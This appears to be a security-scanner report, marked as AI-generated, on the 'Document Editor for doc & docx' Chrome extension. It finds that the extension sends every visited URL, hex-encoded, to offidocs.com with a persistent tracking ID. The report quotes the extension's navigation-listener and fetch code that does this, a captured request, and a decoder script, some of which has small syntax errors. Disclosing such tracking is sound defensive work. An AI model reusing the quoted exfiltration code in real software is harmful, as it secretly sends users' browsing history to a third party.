Is Document Editor for doc & docx safe?

High risk

Document Editor is high risk. Each time you navigate or switch tabs, the background script hex-encodes the URL and sends it to offidocs.com. The request fires automatically, with no interaction, carrying a persistent ID linking your visits. DA confirmed it in seconds.…

officeonlinesystemsv2.12.7Chrome Web Store
75Risk
Who publishes it

officeonlinesystems - 26 other listings from the same operator, 17 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
officeonlinesystems
Registered address
Av. Dr. Arce 43, Madrid 28002, Spain

Shared hosts - 1 hostname

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

offidocs.com
Also called by 7 other listings, including Image editor PaintMagick for photos, PhotoStudio, Encrypt any email with CipherMail

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-200
SourceAI SANDBOX

Every URL you visit sent to offidocs.com in real time

Each time you navigate or switch tabs, the background script hex-encodes the URL and sends it to offidocs.com.

The request fires automatically, with no interaction, carrying a persistent ID linking your visits.

DA confirmed it in seconds.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You navigate to any webpage or switch to a different tab.

The extension did this

The extension encodes the full page URL and sends it to offidocs.com along with a persistent tracking ID.

No interaction with the extension is required. The request fires on every navigation, including private browsing activity.

02EvidenceNETWORK CAPTURE
Captured request
GEThttps://www.offidocs.com/media/system/app/checkdownloaddoceditorx_2_nav.php?filepath=68747470733a2f2f6578616d706c652e636f6d2f70616765&hex=1&u=etdl4sfjla&s=offidocs-service-id-42
HTTP 200; body examined for '302' string to optionally redirect the current tab.
03EvidenceOPAQUE REVEAL
Why you can't catch this in DevTools

The visited URL is hex-encoded before sending. The encoding is trivially reversible; it is not encryption. Every character of the URL is preserved.

What's actually being sent
https://example.com/sample-page
04EvidenceFIELD TABLE
Query parameters sent on every navigation:
FieldValueWhy it matters
The URL you are visiting
68747470733a2f2f6d61696c2e676f6f676c652e636f6d2fThe exact page you are on, hex-encoded. Trivially decoded to reveal the full URL.
Your persistent tracking ID
etdl4sfjlaA 10-character random identifier generated on first run and stored permanently. Links all your browsing history together.
Service ID
svc-7f3a2bA server-assigned identifier fetched once on startup. Associates your tracking ID with a server-side account.
05EvidenceCODE COMPARE
The code that does this

The navigation listener and exfiltration logic in websecure.js:

What it actually does
// Fires on every tab switch and every page navigation.
chrome.tabs.onActivated.addListener(function(activeInfo) {
 activeTabId = activeInfo.tabId;
 getTabInfo(activeTabId);
});
chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) {
 getTabInfo(tabId);
});

function getTabInfo(tabId) {
 chrome.tabs.get(tabId, function(tab) {
 // Skip offidocs pages themselves and non-HTTP URLs
 if (tab.url.indexOf('offidocs') === -1 &&
 tab.url.indexOf('http') !== -1 &&
 lastUrl !== tab.url) {
 extractaudio(tab.url);
 lastUrl = tab.url;
 }
 });
}

async function extractaudio(urlxx) {
 // ... (retrieves stored username from chrome.storage.local) ...
 // GET the visited URL, hex-encoded, to offidocs.com
 let cfgv = await fetch(
 'https://www.offidocs.com/media/system/app/checkdownloaddoceditorx_2_nav.php'
 + '?filepath=' + bin2hex(urlxx)
 + '&hex=1'
 + '&u=' + username // persistent 10-char tracking ID
 + '&s=' + servicexx // server-assigned service ID
 );
}

function bin2hex(bin) {
 var hex = '';
 for (var i = 0; i < bin.length; i++) {
 var chr = bin.charCodeAt(i).toString(16);
 hex += chr.length < 2 ? '0' + chr : chr;
 }
 return hex;
}
06EvidenceTHIRD PARTY LIST
Where your browsing history is sent:
  • www.offidocs.com

    Primary data recipient. Receives the hex-encoded URL, persistent tracking ID, and service ID on every navigation. Operated by the extension publisher.

07EvidenceARTIFACT
Reproduce it yourself

Decodes the hex-encoded filepath= parameter from any captured offidocs.com request back to the plain URL, confirming what page was exfiltrated.

RequiresNode.js (any version), or paste decodeHex into browser console
offidocs-nav-tracker-verify.js · js
// offidocs-nav-tracker-verify.js
// Usage: node offidocs-nav-tracker-verify.js <hex_string>
// Example: node offidocs-nav-tracker-verify.js 68747470733a2f2f6e6577732e79636f6d62696e61746f722e636f6d2f
//
// Or paste into browser console:
// decodeHex('68747470733a2f2f6e6577732e79636f6d62696e61746f722e636f6d2f')

function decodeHex(hex) {
 let result = '';
 for (let i = 0; i < hex.length; i += 2) {
 result += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
 }
 return result;
}

// Node.js entry point
if (typeof process !== 'undefined' && process.argv[2]) {
 const hex = process.argv[2];
 const decoded = decodeHex(hex);
 console.log('Hex input: ', hex);
 console.log('Decoded URL:', decoded);
} else if (typeof process !== 'undefined') {
 // Read from stdin if no argument
 let data = '';
 process.stdin.on('data', chunk => { data += chunk; });
 process.stdin.on('end', => {
 const hex = data.trim;
 console.log('Decoded URL:', decodeHex(hex));
 });
}

// Also export for browser console use:
if (typeof window !== 'undefined') {
 window.decodeHex = decodeHex;
 console.log('[offidocs-verify] Ready. Call decodeHex("<hex>") to decode a filepath= value.');
}
How to run it
  1. 1
    Capture traffic while active (DevTools Network or a proxy).
  2. 2
    Find a GET to offidocs.com/media/system/app/checkdownloaddoceditorx_2_nav.php.
  3. 3
    Copy the filepath= value.
  4. 4
    Run offidocs-nav-tracker-verify.js <value> for the URL.
SeverityMEDIUM
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI SANDBOX

Permanent tracking ID ties all your browsing history together

On first run, the extension makes a random 10-char ID stored permanently.

This ID rides every URL sent to offidocs.com, building a durable profile.

DA confirmed the same ID across all 7 captured requests across 5 sites.

01EvidenceCAUSE EFFECT
What actually happens
You did this

The extension runs for the first time after installation.

The extension did this

A random 10-character identifier is generated and stored permanently in browser storage.

This ID is then appended as the 'u=' parameter to every subsequent URL exfiltration request, linking all your browsing history under a single persistent pseudonym.

02EvidenceSTORAGE DUMP
What's stored on your device

'username' is the persistent tracking ID sent with every visit. 'offidocscloud' controls whether exfiltration is active; default '1' (on).

Locationchrome.storage.local key 'offidocs_key'
Contents (JSON)
{
  "username": "etdl4sfjla",
  "offidocscloud": "1"
}
03EvidenceFIELD TABLE
The tracking ID in each outbound request:
FieldValueWhy it matters
Your tracking ID (u=)
etdl4sfjlaIdentical across every request to offidocs.com. Allows the server to reconstruct a complete browsing history for your installation.
Visited URL (filepath=)
68747470733a2f2f6d61696c2e676f6f676c652e636f6dThe hex-encoded full URL of every page you visit, linked to your tracking ID.
04EvidenceCODE COMPARE
The code that does this

Tracking ID generation and persistence (websecure.js):

What it actually does
// On startup: attempt to retrieve stored username (legacy sync storage path)
if (chrome.storage.sync.get('username', function(obj) {})) {
    username = chrome.storage.sync.get('username', function(obj) {});
} else {
    username = randomString(10).toLowerCase();
    chrome.storage.sync.set({'username': username}, function() {});
}

// Inside extractaudio() — called on every navigation:
async function extractaudio(urlxx) {
    let storageResult = await chrome.storage.local.get(['offidocs_key']);
    let datax = storageResult['offidocs_key'] || { username: null, offidocscloud: null };

    if (datax.username) {
        username = datax.username;          // reuse existing ID
    } else {
        username = randomString(10).toLowerCase();   // generate once
        datax.username = username;
    }
    // ... stores datax back to chrome.storage.local ...

    // Exfiltrate: attach tracking ID as u= parameter
    let response = await fetch(
        'https://www.offidocs.com/media/system/app/checkdownloaddoceditorx_2_nav.php'
        + '?filepath=' + bin2hex(urlxx)
        + '&hex=1'
        + '&u=' + username
        + '&s=' + servicexx
    );
}

function randomString(len, charSet) {
    charSet = charSet || 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
    var result = '';
    for (var i = 0; i < len; i++) {
        var pos = Math.floor(Math.random() * charSet.length);
        result += charSet.substring(pos, pos + 1);
    }
    return result.toLowerCase();
}
05EvidenceTHIRD PARTY LIST
Where the tracking ID is transmitted:
  • www.offidocs.com

    Receives the persistent tracking ID (u= parameter) alongside the hex-encoded visited URL on every navigation. Operated by the extension publisher.

What it can do

Permissions this extension asks for, as declared in version 2.12.7. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Store data in your browser

    storage

  • See the address and title of every tab you have open

    tabs

Updated 30 September 2026bpdjlkbbhlnjlggpbofheohnomnibmmm